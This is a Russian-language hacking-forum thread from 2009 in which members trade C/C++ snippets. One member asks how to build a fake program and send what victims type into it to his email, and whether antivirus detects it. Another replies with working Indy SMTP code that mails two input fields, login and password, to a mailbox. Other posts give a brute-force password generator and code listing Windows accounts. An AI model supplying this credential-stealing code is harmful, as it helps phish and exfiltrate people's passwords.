ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

23.11.2009, 19:22
|
|
Постоянный
Регистрация: 16.08.2006
Сообщений: 640
Провел на форуме: 1354067
Репутация:
599
|
|
Сообщение от razb
Делаешь вложенный цикл, с глубиной вложения равной количеству символов в пассе.
и отправляешь сорец на сайт говнокодру.
Код:
#include <iostream>
#include <string>
#include <vector>
using namespace std;
string passFromCounter(int counter, const vector<string>& letters);
void main()
{
vector<string> letters;
letters.push_back("a");
letters.push_back("b");
letters.push_back("c");
letters.push_back("d");
letters.push_back("e");
int counter = 0;
while (counter < 50){
cout << passFromCounter(counter++, letters) << endl;
}
system("pause");
}
string passFromCounter(int counter, const vector<string>& letters){
int num = letters.size();
int local_mutation_step = counter;
string pass;
do{
pass = letters.at((local_mutation_step % num)) + pass;
local_mutation_step = local_mutation_step / num - 1;
}while(local_mutation_step >= 0);
return pass;
}
Немножко математики спасают от тупого хардкодирования. Как это работает я уже не раз описывал тут. Как подобрать длину пароля - с 3х до 6ти букв - придумайте сами. Простая арифметика.
|
|
|

23.11.2009, 23:02
|
|
Участник форума
Регистрация: 14.01.2009
Сообщений: 194
Провел на форуме: 798217
Репутация:
44
|
|
Привет.
У мня тут два вопросика.
Недавно заинтересовался двумя вещами.
Глушилками на hosts,и программа фейками,хотел бы спросить (не отрицаю того,что тема где-то подымалась,но я ничего стоящего не нашел)
1)на чем обычно такое пишется.
2)как организуется отправка введеных данных с фейк программы например ко мне на почту?
3)сильно ли палиться это ативирусами?
4)где об этом можно найти качественную инфу?
спасибо за внимание.
|
|
|

24.11.2009, 11:16
|
|
Познающий
Регистрация: 18.07.2009
Сообщений: 66
Провел на форуме: 464381
Репутация:
10
|
|
ZnikiR
Держи пример кароч на С++:
кидаешь на форму два компонента: idSMTP и idMessage
вот те примерный код:
IdMessage1->CharSet = "windows1251"; // на шестом билдере понта ноль от этого конечно, а вот на делфи робит отлично, соль в том что если символы русские то приходит ??? это из-за версии инди
IdMessage1->ContentTransferEncoding = "8bit";
IdMessage1->ContentType = "text/plain";
IdMessage1->Recipients->EMailAddresses = "bla_bla@mail.ru";
IdMessage1->Subject = "tema";
IdMessage1->Body->Text = Edit1->Text+':'+Edit2->Text; //текст мессаги, самый гемор для мну был)
IdMessage1->From->Name = "ot menya";
IdMessage1->From->Address = "bla_bla@mail.ru";
IdSMTP1->Host = "smtp.mail.ru";
IdSMTP1->Port = 25; //стандартный порт
IdSMTP1->UserId = "тут_логин_для_входа_в_почту ";
IdSMTP1->Password = "тут_пароль_на_вход";
IdSMTP1->AuthenticationType = atLogin; //говорим что нужна авторизация
IdSMTP1->Connect(); // коннект собсно
IdSMTP1->Send(IdMessage1);
IdSMTP1->Disconnect(); //дисконнект =)
вот собсно код фэйка для отправки на почту. надеюсь на + к репе =)
p.s.: На форуме где нибудь можно почитать примеры авторизации на сайтах с использованием idHTTP ? ну или другими способами?
Последний раз редактировалось Romik001; 24.11.2009 в 11:29..
|
|
|

24.11.2009, 21:49
|
|
Познавший АНТИЧАТ
Регистрация: 01.12.2006
Сообщений: 1,769
Провел на форуме: 3718311
Репутация:
1118
|
|
Среда разработки MSVC 2008 (NET 3.5)
Дано PictureBox + ресурс IDB_Picture_101 (точечный рисунок)
Как правильно подгрузить картинку из ресурсов?
|
|
|

24.11.2009, 23:58
|
|
Познающий
Регистрация: 28.06.2009
Сообщений: 56
Провел на форуме: 175879
Репутация:
3
|
|
Такой вопрос, как установить DirectX SDK на Code::Blocks?)
|
|
|

25.11.2009, 00:47
|
|
Участник форума
Регистрация: 14.01.2009
Сообщений: 194
Провел на форуме: 798217
Репутация:
44
|
|
Сообщение от Romik001
ZnikiR
Держи пример кароч на С++:
***************
p.s.: На форуме где нибудь можно почитать примеры авторизации на сайтах с использованием idHTTP ? ну или другими способами?
Я так понимаю,что такие программы лучше всего на делфи писать?
Или нет?
|
|
|

25.11.2009, 10:25
|
|
Познавший АНТИЧАТ
Регистрация: 01.12.2006
Сообщений: 1,769
Провел на форуме: 3718311
Репутация:
1118
|
|
Я так понимаю,что такие программы лучше всего на делфи писать?
#include <curl/curl.h>
|
|
|

26.11.2009, 00:54
|
|
студент
Регистрация: 30.07.2007
Сообщений: 800
Провел на форуме: 4275992
Репутация:
1188
|
|
Для тех кто захочет заняться садомазо (как сейчас я))) и захочет написать в Visual Studio 2008 (C++) - чтоб не протрахались так как я в поисках нужных либ и инклудов, которых в студии нет.
http://dump.ru/file/3831023
в архиве
GLAUX.LIB
glaux.h
лить соответственно
C:\Program Files\Microsoft Visual Studio 9.0\VC\lib
C:\Program Files\Microsoft Visual Studio 9.0\VC\include
надеюсь хоть кому то сэкономит время)
|
|
|

26.11.2009, 00:57
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
Как проверить, существует ли пользователь (тот, под которым логинится в винду) в C++?
|
|
|

26.11.2009, 01:40
|
|
Участник форума
Регистрация: 20.12.2007
Сообщений: 295
Провел на форуме: 1777055
Репутация:
347
|
|
Сообщение от mailbrush
Как проверить, существует ли пользователь (тот, под которым логинится в винду) в C++?
вот код на С, выводящий список учетных записей windows.
Код:
#include <stdio.h>
#include <windows.h>
#include <lm.h>
void print_users(void)
{
unsigned long i, dwERead, dwETotal, dwRes, res;
char* p;
PUSER_INFO_10 info;
info = NULL;
dwRes = 0;
res = NetUserEnum(
NULL,
10,
FILTER_NORMAL_ACCOUNT,
(LPBYTE*) &info,
MAX_PREFERRED_LENGTH,
&dwERead,
&dwETotal,
&dwRes
);
if((res)||(!info))
{
fprintf(stderr, "NetUserEnum failedn");
return;
}
p = (char*)info;
for(i=0; i<dwERead; i++)
{
info = (PUSER_INFO_10)(p + i*sizeof(USER_INFO_10));
printf("%ls\r\n", info->usri10_name);
}
NetApiBufferFree(info);
return;
}
int main(void)
{
print_users();
return 0;
}
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|